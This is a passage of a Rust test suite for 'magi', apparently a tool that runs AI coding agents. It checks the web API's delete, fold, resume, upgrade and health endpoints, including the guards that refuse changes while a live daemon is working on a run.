12970 let find = |id: &str| {
12971 list.as_array()
12972 .unwrap()
12973 .iter()
12974 .find(|v| v["id"] == id)
12975 .unwrap()
12976 .clone()
12977 };
12978 let leaf_view = find(&leaf.id);
12979 assert_eq!(
12980 leaf_view["waits_on"],
12981 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12982 );
12983 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12984 assert_eq!(
12985 find(&mid.id)["waits_on"],
12986 serde_json::json!([format!("{} (held)", root.short())])
12987 );
12988 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12989 }
12990
12991 #[tokio::test]
12992 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12993 let fx = Fixture::start().await;
12994 let q = fx.queue();
12995
12996 let mut t1 = Task::new(
12998 "Task 1".to_owned(),
12999 "Instruction 1".to_owned(),
13000 PathBuf::from("/repo"),
13001 Source::Human,
13002 );
13003 let run_id = "20260901-000000-r111";
13004 t1.runs.push(run_id.to_owned());
13005 write_run(&fx.runs(), run_id, RunStatus::Merged);
13006 q.put(&mut t1).expect("put t1");
13007
13008 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13010 assert_eq!(res.status, 204);
13011 assert!(res.body.is_empty(), "204 No Content has no body");
13012 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13013 assert!(
13014 fx.runs().join(run_id).exists(),
13015 "run directory must not be deleted when its task is deleted"
13016 );
13017
13018 let mut t2 = Task::new(
13020 "Task 2".to_owned(),
13021 "Instruction 2".to_owned(),
13022 PathBuf::from("/repo"),
13023 Source::Human,
13024 );
13025 t2.status = TaskStatus::Running;
13026 q.put(&mut t2).expect("put t2");
13027 let mut beat = crate::daemon::Status::new();
13028 beat.current = vec![crate::daemon::Current {
13029 task: t2.id.clone(),
13030 run: "20260901-000000-r222".to_owned(),
13031 }];
13032 beat.updated_at = jiff::Timestamp::now();
13033 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13034 .expect("publish a heartbeat");
13035 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13036 assert_eq!(res.status, 409);
13037 assert!(
13038 res.json()["error"]
13039 .as_str()
13040 .unwrap()
13041 .contains("live daemon")
13042 );
13043 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13044
13045 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13051 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13052 .expect("leave a stale heartbeat");
13053 let mut t3 = Task::new(
13054 "Task 3".to_owned(),
13055 "Instruction 3".to_owned(),
13056 PathBuf::from("/repo"),
13057 Source::Human,
13058 );
13059 t3.status = TaskStatus::Running;
13060 q.put(&mut t3).expect("put t3");
13061 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13062 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13063 assert_eq!(res.status, 204);
13064 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13065 assert!(
13066 q.claim(&t3.id).is_ok(),
13067 "the stale lock went with it, so the id is claimable again"
13068 );
13069
13070 let res = fx.delete("/api/queue/nonexistent").await;
13072 assert_eq!(res.status, 404);
13073 }
13074
13075 #[tokio::test]
13076 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13077 let fx = Fixture::start().await;
13078 let runs = fx.runs();
13079
13080 let run_id = "20260901-000000-fold";
13082 let mut state = RunState::new(
13083 PathBuf::from("/repo"),
13084 "main".to_owned(),
13085 "abc".to_owned(),
13086 "instruction".to_owned(),
13087 Config::default(),
13088 );
13089 state.id = run_id.to_owned();
13090 state.status = RunStatus::Merged;
13091 state.candidates.push(crate::run::Candidate {
13092 index: 0,
13093 label: 'A',
13094 agent: "a".to_owned(),
13095 branch: "b".to_owned(),
13096 worktree: PathBuf::from("/w"),
13097 summary: String::new(),
13098 stat: String::new(),
13099 files: 1,
13100 commits: 1,
13101 empty: false,
13102 failed: None,
13103 verified_noop: None,
13104 duration_ms: 0,
13105 folded: true,
13106 });
13107 let dir = runs.join(run_id);
13108 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13109 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13110 .expect("write artifact");
13111 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13112 .expect("write run.json");
13113
13114 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13116 assert_eq!(res.status, 204);
13117 assert!(res.body.is_empty(), "204 has no body");
13118 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13119
13120 let run_running = "20260901-000000-rung";
13125 write_run(&runs, run_running, RunStatus::Prep);
13126 let mut beat = crate::daemon::Status::new();
13127 beat.current = vec![crate::daemon::Current {
13128 task: "20260901-000000-task".to_owned(),
13129 run: run_running.to_owned(),
13130 }];
13131 beat.updated_at = jiff::Timestamp::now();
13132 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13133 .expect("publish a heartbeat");
13134 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13135 assert_eq!(res.status, 409);
13136 assert!(
13137 res.json()["error"]
13138 .as_str()
13139 .unwrap()
13140 .contains("live daemon"),
13141 "the refusal must say who is holding it"
13142 );
13143 assert!(
13144 runs.join(run_running).exists(),
13145 "a run in flight keeps its directory"
13146 );
13147
13148 let run_unfolded = "20260901-000000-unfd";
13150 let mut state2 = RunState::new(
13151 PathBuf::from("/repo"),
13152 "main".to_owned(),
13153 "abc".to_owned(),
13154 "instruction".to_owned(),
13155 Config::default(),
13156 );
13157 state2.id = run_unfolded.to_owned();
13158 state2.status = RunStatus::Ready;
13159 state2.candidates.push(crate::run::Candidate {
13160 index: 0,
13161 label: 'A',
13162 agent: "a".to_owned(),
13163 branch: "b".to_owned(),
13164 worktree: PathBuf::from("/w"),
13165 summary: String::new(),
13166 stat: String::new(),
13167 files: 1,
13168 commits: 1,
13169 empty: false,
13170 failed: None,
13171 verified_noop: None,
13172 duration_ms: 0,
13173 folded: false,
13174 });
13175 let dir2 = runs.join(run_unfolded);
13176 std::fs::create_dir_all(&dir2).expect("create dir2");
13177 std::fs::write(
13178 dir2.join("run.json"),
13179 serde_json::to_string(&state2).unwrap(),
13180 )
13181 .expect("write run.json");
13182
13183 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13184 assert_eq!(res.status, 409);
13185 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13186 assert!(dir2.exists(), "unfolded run directory is kept");
13187
13188 let res = fx.delete("/api/runs/nonexistent").await;
13190 assert_eq!(res.status, 404);
13191 }
13192
13193 #[test]
13202 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13203 let start = APP_JS
13204 .find("function renderStats() {")
13205 .expect("renderStats");
13206 let end = start
13207 + APP_JS[start..]
13208 .find("function statsTile(")
13209 .expect("the next top-level function");
13210 let body = &APP_JS[start..end];
13211
13212 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13213 let gate_end = gate_start
13214 + body[gate_start..]
13215 .find("}\n renderStatsQueue")
13216 .expect("the gate's own closing brace, right before the unconditional call");
13217 let gated = &body[gate_start..gate_end];
13218
13219 assert_eq!(
13220 body.matches("renderStatsQueue(").count(),
13221 1,
13222 "renderStats must call renderStatsQueue exactly once: {body}"
13223 );
13224 assert!(
13225 !gated.contains("renderStatsQueue"),
13226 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13227 run-derived panels on an empty run history - the queue panel has to render \
13228 regardless: {gated}"
13229 );
13230 }
13231
13232 #[test]
13233 fn web_ui_delete_contract_in_front_end() {
13234 assert!(APP_JS.contains("deleteRun:"));
13236 assert!(APP_JS.contains("deleteTask:"));
13237
13238 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13240 ..APP_JS.find("function renderRuns").unwrap()];
13241 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13242
13243 assert!(APP_JS.contains("renderRunDelete"));
13245 assert!(APP_JS.contains("runDeleteReason"));
13246 assert!(APP_JS.contains("magi fold"));
13247 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13248
13249 assert!(APP_JS.contains("cancel.focus"));
13251 assert!(APP_JS.contains("armedRunDelete"));
13252 assert!(APP_JS.contains("renderTaskDeleteBox"));
13253 assert!(APP_JS.contains("armed${cap(key)}"));
13254
13255 assert!(APP_JS.contains("disabled: status === \"running\""));
13257 }
13258
13259 #[test]
13279 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13280 let build = APP_JS
13281 .find("function createRunCard")
13282 .expect("createRunCard exists");
13283 let update = APP_JS
13284 .find("function updateRunCard")
13285 .expect("updateRunCard exists");
13286 let end = APP_JS
13287 .find("function renderRuns")
13288 .expect("renderRuns exists");
13289
13290 let builder = &APP_JS[build..update];
13292 let open = builder.find("refs = {").expect("createRunCard sets refs");
13293 let literal = &builder[open + "refs = {".len()..];
13294 let close = literal.find('}').expect("the refs literal is closed");
13295 let published: HashSet<&str> = literal[..close]
13296 .split(',')
13297 .filter_map(|entry| entry.split(':').next())
13299 .map(str::trim)
13300 .filter(|name| !name.is_empty())
13301 .collect();
13302 assert!(
13303 published.len() > 5,
13304 "the refs literal did not parse into names: {published:?}"
13305 );
13306
13307 let mut used: Vec<&str> = Vec::new();
13310 let updaters = &APP_JS[update..end];
13311 for (at, _) in updaters.match_indices("r.") {
13312 let before = updaters[..at].chars().next_back();
13315 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13316 continue;
13317 }
13318 let rest = &updaters[at + 2..];
13319 let len = rest
13320 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13321 .unwrap_or(rest.len());
13322 if len > 0 {
13323 used.push(&rest[..len]);
13324 }
13325 }
13326 assert!(
13327 used.len() > 5,
13328 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13329 );
13330
13331 let missing: Vec<&str> = used
13332 .iter()
13333 .copied()
13334 .filter(|name| !published.contains(name))
13335 .collect();
13336 assert!(
13337 missing.is_empty(),
13338 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13339 never put in `refs` - every card will throw and the list will \
13340 render empty under a count line that says otherwise. Published: \
13341 {published:?}"
13342 );
13343 }
13344
13345 #[tokio::test]
13346 async fn folding_from_the_phone_reports_what_it_removed() {
13347 let fx = Fixture::start().await;
13348 let runs = fx.runs();
13349
13350 let id = "20260901-000000-fold";
13354 write_run(&runs, id, RunStatus::Stalled);
13355 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13356 assert_eq!(res.status, 200);
13357 assert_eq!(res.json()["removed_count"], 0);
13358 assert_eq!(res.json()["run"], id);
13359 assert!(
13360 runs.join(id).exists(),
13361 "a fold keeps the run's record; only the worktrees go"
13362 );
13363 }
13364
13365 #[tokio::test]
13366 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13367 let fx = Fixture::start().await;
13368 let runs = fx.runs();
13369 let wt = fx.home.path().join("wt").join("magi").join("dead");
13370 let id = "20260901-000000-dead";
13371 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13372 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13373 std::fs::create_dir_all(&wt).expect("worktree dir");
13374
13375 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13376 assert_eq!(res.status, 200, "{}", res.body);
13377 assert!(
13378 res.json()["removed_count"].as_u64().unwrap() > 0,
13379 "the worktree this build could not read a state for still went"
13380 );
13381 assert!(
13382 !runs.join(id).exists(),
13383 "an unreadable run has no candidate list to fold selectively, so \
13384 the whole record goes - same as `magi fold` on the CLI"
13385 );
13386 }
13387
13388 #[tokio::test]
13389 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13390 let fx = Fixture::start().await;
13391 let runs = fx.runs();
13392 let wt = fx.home.path().join("wt").join("magi").join("gone");
13393 let id = "20260901-000000-gone";
13394 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13395 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13396 std::fs::create_dir_all(&wt).expect("worktree dir");
13397
13398 let res = fx.delete(&format!("/api/runs/{id}")).await;
13399 assert_eq!(res.status, 204, "{}", res.body);
13400 assert!(!runs.join(id).exists(), "the broken record is gone");
13401 assert!(!wt.exists(), "its worktree is gone too");
13402 }
13403
13404 #[tokio::test]
13405 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13406 let fx = Fixture::start().await;
13407 let runs = fx.runs();
13408 let id = "20260901-000000-live";
13409 write_run(&runs, id, RunStatus::Implementing);
13410
13411 let mut beat = crate::daemon::Status::new();
13412 beat.current = vec![crate::daemon::Current {
13413 task: "20260901-000000-task".to_owned(),
13414 run: id.to_owned(),
13415 }];
13416 beat.updated_at = jiff::Timestamp::now();
13417 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13418 .expect("publish a heartbeat");
13419
13420 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13421 assert_eq!(res.status, 409);
13422 assert!(
13423 res.json()["error"]
13424 .as_str()
13425 .unwrap()
13426 .contains("live daemon"),
13427 "folding under a running agent would pull its worktree away"
13428 );
13429 }
13430
13431 #[tokio::test]
13432 async fn fold_merged_requires_a_pr_url() {
13433 let fx = Fixture::start().await;
13434 let runs = fx.runs();
13435 let id = "20260901-000000-nourl";
13436 write_run(&runs, id, RunStatus::Blocked);
13437
13438 let res = fx
13439 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13440 .await;
13441 assert_eq!(res.status, 400, "{}", res.body);
13442
13443 let blank = fx
13444 .post(
13445 &format!("/api/runs/{id}/fold-merged"),
13446 Some(r#"{"pr_url":" "}"#),
13447 )
13448 .await;
13449 assert_eq!(blank.status, 400, "{}", blank.body);
13450 }
13451
13452 #[tokio::test]
13453 async fn fold_merged_is_404_for_an_unknown_run() {
13454 let fx = Fixture::start().await;
13455 let res = fx
13456 .post(
13457 "/api/runs/nosuchrun/fold-merged",
13458 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13459 )
13460 .await;
13461 assert_eq!(res.status, 404, "{}", res.body);
13462 }
13463
13464 #[tokio::test]
13465 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13466 let fx = Fixture::start().await;
13467 let runs = fx.runs();
13468 let id = "20260901-000000-livemerge";
13469 write_run(&runs, id, RunStatus::Blocked);
13470
13471 let mut beat = crate::daemon::Status::new();
13472 beat.current = vec![crate::daemon::Current {
13473 task: "20260901-000000-task".to_owned(),
13474 run: id.to_owned(),
13475 }];
13476 beat.updated_at = jiff::Timestamp::now();
13477 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13478 .expect("publish a heartbeat");
13479
13480 let res = fx
13481 .post(
13482 &format!("/api/runs/{id}/fold-merged"),
13483 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13484 )
13485 .await;
13486 assert_eq!(res.status, 409, "{}", res.body);
13487 assert!(
13488 res.json()["error"]
13489 .as_str()
13490 .unwrap()
13491 .contains("live daemon"),
13492 "correcting a run's merge underneath a running agent would race \
13493 whatever it is doing to the same `status`/`merge` fields"
13494 );
13495 }
13496
13497 #[tokio::test]
13502 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13503 let fx = Fixture::start().await;
13504 let runs = fx.runs();
13505 let id = "20260901-000000-unconfirmed";
13506 write_run(&runs, id, RunStatus::Blocked);
13507
13508 let res = fx
13509 .post(
13510 &format!("/api/runs/{id}/fold-merged"),
13511 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13512 )
13513 .await;
13514 assert_eq!(res.status, 400, "{}", res.body);
13515 assert_eq!(
13516 read_run(&runs, id).unwrap().status,
13517 RunStatus::Blocked,
13518 "a pull request that could not be confirmed merged must leave \
13519 the run exactly where it was"
13520 );
13521 }
13522
13523 #[tokio::test]
13524 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13525 let fx = Fixture::start().await;
13526 let runs = fx.runs();
13527
13528 for (status, word) in [
13534 (RunStatus::Merged, "merged"),
13535 (RunStatus::Ready, "ready"),
13536 (RunStatus::Failed, "failed"),
13537 ] {
13538 let id = format!("20260901-000000-{}", &word[..4]);
13539 write_run(&runs, &id, status);
13540 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13541 assert_eq!(res.status, 409, "{word} must not be resumable");
13542 let err = res.json()["error"].as_str().unwrap().to_owned();
13543 assert!(err.contains(word), "the refusal names the status: {err}");
13544 }
13545
13546 let mid = "20260901-000000-midf";
13551 write_run(&runs, mid, RunStatus::Reviewing);
13552 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13553 assert_eq!(res.status, 202, "an interrupted run is resumable");
13554 }
13555
13556 #[tokio::test]
13557 async fn resume_is_refused_while_the_loop_is_running() {
13558 let fx = Fixture::start().await;
13559 let runs = fx.runs();
13560 let stalled = "20260901-000000-stal";
13561 write_run(&runs, stalled, RunStatus::Stalled);
13562
13563 let mut beat = crate::daemon::Status::new();
13567 beat.current = vec![crate::daemon::Current {
13568 task: "20260901-000000-task".to_owned(),
13569 run: "20260901-000000-othr".to_owned(),
13570 }];
13571 beat.updated_at = jiff::Timestamp::now();
13572 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13573 .expect("publish a heartbeat");
13574
13575 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13576 assert_eq!(res.status, 409);
13577 let err = res.json()["error"].as_str().unwrap().to_owned();
13578 assert!(err.contains("othr"), "it names what the loop is on: {err}");
13579 assert!(err.contains("stop it first"), "{err}");
13580 }
13581
13582 #[test]
13583 fn a_run_cannot_be_resumed_twice_at_once() {
13584 let home = TempDir::new().expect("temp home");
13585 let ui = Ui::new(
13586 Queue::at(home.path().join("queue")),
13587 Questions::at(home.path().join("questions")),
13588 Talks::at(home.path().join("talks")),
13589 home.path().join("runs"),
13590 home.path().to_path_buf(),
13591 PathBuf::from("/repo"),
13592 )
13593 .with_worktrees_root(home.path().join("wt"));
13594 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13595 let again = ui.begin_resume("20260901-000000-once");
13596 assert!(again.is_err(), "a second tap must not start a second graph");
13597 drop(first);
13598 assert!(
13599 ui.begin_resume("20260901-000000-once").is_ok(),
13600 "and the claim is released when the attempt ends"
13601 );
13602 }
13603
13604 #[test]
13605 fn talk_thinking_tracks_only_its_held_turn_claim() {
13606 let home = TempDir::new().expect("temp home");
13607 let ui = Ui::new(
13608 Queue::at(home.path().join("queue")),
13609 Questions::at(home.path().join("questions")),
13610 Talks::at(home.path().join("talks")),
13611 home.path().join("runs"),
13612 home.path().to_path_buf(),
13613 PathBuf::from("/repo"),
13614 )
13615 .with_worktrees_root(home.path().join("wt"));
13616 let id = "20260901-000000-once";
13617
13618 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13619 let turn = ui.begin_talk_turn(id).expect("claim turn");
13620 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13621 assert!(
13622 !ui.is_thinking("20260901-000000-other"),
13623 "one talk's turn does not make another talk busy"
13624 );
13625 drop(turn);
13626 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13627 }
13628
13629 #[tokio::test]
13630 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13631 let fx = Fixture::start().await;
13632 let mut beat = crate::daemon::Status::new();
13636 beat.pid = 4321;
13637 beat.updated_at = jiff::Timestamp::now();
13638 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13639 .expect("publish a heartbeat");
13640
13641 let res = fx.post("/api/upgrade", None).await;
13642 assert_eq!(res.status, 409);
13643 let err = res.json()["error"].as_str().unwrap().to_owned();
13644 assert!(err.contains("4321"), "the refusal names the owner: {err}");
13645 assert!(err.contains("old one against the same queue"), "{err}");
13646 }
13647
13648 #[test]
13655 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13656 assert!(!should_spawn_recheck(&crate::config::Update {
13657 mode: UpdateMode::Off,
13658 interval: None,
13659 }));
13660
13661 unsafe {
13664 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13665 }
13666 let killed = should_spawn_recheck(&crate::config::Update {
13667 mode: UpdateMode::Notify,
13668 interval: None,
13669 });
13670 unsafe {
13671 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13672 }
13673 assert!(
13674 !killed,
13675 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13676 one-time startup check"
13677 );
13678
13679 assert!(should_spawn_recheck(&crate::config::Update {
13680 mode: UpdateMode::Notify,
13681 interval: None,
13682 }));
13683 }
13684
13685 #[test]
13691 fn recheck_poll_period_tracks_a_short_configured_interval() {
13692 let short = crate::config::Update {
13693 mode: UpdateMode::Notify,
13694 interval: Some("1m".to_owned()),
13695 };
13696 let period = recheck_poll_period(&short);
13697 assert!(
13698 period <= Duration::from_secs(30),
13699 "a one-minute interval must wake the task far sooner than the \
13700 default ceiling, or the deck would not notice within the \
13701 interval the operator configured: got {period:?}"
13702 );
13703
13704 let default = crate::config::Update {
13705 mode: UpdateMode::Notify,
13706 interval: None,
13707 };
13708 assert_eq!(
13709 recheck_poll_period(&default),
13710 UPDATE_RECHECK_POLL_MAX,
13711 "the default day-long interval should poll at the (capped) \
13712 ceiling rather than needlessly often"
13713 );
13714 }
13715
13716 #[test]
13724 fn recheck_skips_the_network_before_the_interval_elapses() {
13725 let dir = TempDir::new().expect("temp dir");
13726 let path = dir.path().join("state.json");
13727 let state = kaishin::UpdateCheckState {
13728 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13729 last_known_latest: None,
13730 last_known_url: None,
13731 };
13732 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13733
13734 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13735 assert!(
13736 !update_recheck_due(&checker, None),
13737 "a check made moments ago must not be repeated before the \
13738 configured interval elapses"
13739 );
13740 }
13741
13742 #[test]
13748 fn recheck_defers_to_an_upgrade_already_in_flight() {
13749 let dir = TempDir::new().expect("temp dir");
13750 let path = dir.path().join("state.json");
13751 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13752 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13753
13754 assert!(
13755 !update_recheck_due(&checker, Some(&progress)),
13756 "a recheck must not run while an upgrade this deck started is \
13757 still moving"
13758 );
13759 }
13760
13761 #[tokio::test]
13762 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13763 unsafe {
13775 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13776 }
13777 let fx = Fixture::start().await;
13778 let res = fx.post("/api/upgrade", None).await;
13779 unsafe {
13780 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13781 }
13782 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13783 let body = res.json();
13784 assert!(body["to"].is_null(), "there was no release to move to");
13785 assert!(body["parked"].is_null(), "and nothing was parked");
13786 assert!(
13787 body["detail"]
13788 .as_str()
13789 .unwrap()
13790 .contains("disabled by MAGI_NO_AUTOUPDATE"),
13791 "{body:?}"
13792 );
13793 }
13794
13795 #[tokio::test]
13796 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13797 let repo = TempDir::new().expect("repo dir");
13813 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13814 .expect("write magi.toml");
13815 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13816
13817 let res = fx.post("/api/upgrade", None).await;
13823 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13824 let body = res.json();
13825 assert!(body["to"].is_null(), "there was no release to move to");
13826 assert!(body["parked"].is_null(), "and nothing was parked");
13827 assert!(
13828 body["detail"]
13829 .as_str()
13830 .unwrap()
13831 .contains("nothing restarted"),
13832 "{body:?}"
13833 );
13834 }
13835
13836 #[tokio::test]
13837 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13838 let repo = TempDir::new().expect("repo dir");
13843 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13844 .expect("write magi.toml");
13845 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13846
13847 let health = fx.get("/api/health").await.json();
13848 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13849 assert_eq!(
13850 health["update"]["available"], false,
13851 "checking is off, which reads as \"unknown\", not \"none\""
13852 );
13853 assert!(health["update"]["to"].is_null());
13854 assert!(
13855 health["upgrade"].is_null(),
13856 "nothing has ever asked this deck to upgrade"
13857 );
13858 }
13859
13860 #[tokio::test]
13861 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13862 let fx = Fixture::start().await;
13863 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13864
13865 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13866 progress.parked_run = Some("20260905-000000-cd51".to_owned());
13867 progress.advance(crate::updater::Stage::Parking);
13868 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13869
13870 let health = fx.get("/api/health").await.json();
13871 assert_eq!(health["upgrade"]["stage"], "parking");
13872 assert_eq!(health["upgrade"]["from"], "0.5.1");
13873 assert_eq!(health["upgrade"]["to"], "0.5.2");
13874 let waiting_on = health["upgrade"]["waiting_on"]
13875 .as_str()
13876 .expect("waiting_on is set while parking a known run");
13877 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13878 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13879 }
13880
13881 #[tokio::test]
13882 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13883 let fx = Fixture::start().await;
13884 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13885 progress.advance(crate::updater::Stage::Done);
13886 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13887
13888 let health = fx.get("/api/health").await.json();
13889 assert_eq!(health["upgrade"]["stage"], "done");
13890 assert!(
13891 health["upgrade"]["waiting_on"].is_null(),
13892 "nothing to wait on once it is done"
13893 );
13894 }
13895
13896 #[tokio::test]
13897 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13898 let home = TempDir::new().expect("temp home");
13899 let runs = home.path().join("runs");
13900 std::fs::create_dir_all(&runs).expect("runs dir");
13901 let ui = Ui::new(
13902 Queue::at(home.path().join("queue")),
13903 Questions::at(home.path().join("questions")),
13904 Talks::at(home.path().join("talks")),
13905 runs,
13906 home.path().to_path_buf(),
13907 PathBuf::from("/repo/magi"),
13908 )
13909 .with_launch(launch_idle);
13910 let looping = ui.looping();
13911 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13912 .await
13913 .expect("bind loopback");
13914 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13915
13916 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13917 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13918
13919 hand_over(home.path(), &looping, served, |_| Ok(1))
13920 .await
13921 .expect("hand over");
13922
13923 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13924 assert_eq!(
13925 after.stage,
13926 crate::updater::Stage::Restarting,
13927 "hand_over owns the record through parking and up to restarting; \
13928 the successor is what finishes it"
13929 );
13930 }
13931
13932 #[tokio::test]
13935 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
13936 for fail in [false, true] {
13937 let home = TempDir::new().expect("temp home");
13938 let ui = idle_ui(&home);
13939 let looping = ui.looping();
13940 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13941 .await
13942 .expect("bind loopback");
13943 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13944 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13945 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13946
13947 let calls = std::sync::atomic::AtomicUsize::new(0);
13948 let outcome = hand_over(home.path(), &looping, served, |_| {
13949 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
13950 if fail {
13951 anyhow::bail!("no exec")
13952 } else {
13953 Ok(4242)
13954 }
13955 })
13956 .await;
13957 assert_eq!(outcome.is_err(), fail);
13958 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
13959
13960 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
13961 .expect("upgrade.log is written under the home");
13962 for step in [
13963 "entered",
13964 "finish_loop",
13965 "listener released",
13966 "starting the successor",
13967 ] {
13968 assert!(log.contains(step), "missing `{step}` in:\n{log}");
13969 }
13970 assert!(
13971 log.contains(if fail { "did not start" } else { "pid 4242" }),
13972 "{log}"
13973 );
13974 }
13975 }
13976
13977 #[tokio::test]
13980 async fn the_handover_signal_wakes_one_waiter_once() {
13981 let signal = Notify::new();
13982 signal.notify_one();
13984 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
13985 .await
13986 .expect("an early signal is still seen");
13987 assert!(
13989 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
13990 .await
13991 .is_err(),
13992 "a consumed signal must not wake a second time"
13993 );
13994 let signal = std::sync::Arc::new(signal);
13996 let waiter = tokio::spawn({
13997 let signal = std::sync::Arc::clone(&signal);
13998 async move { wait_for_handover(&signal).await }
13999 });
14000 tokio::time::sleep(Duration::from_millis(20)).await;
14001 assert!(!waiter.is_finished(), "nothing was signalled yet");
14002 signal.notify_one();
14003 tokio::time::timeout(Duration::from_secs(5), waiter)
14004 .await
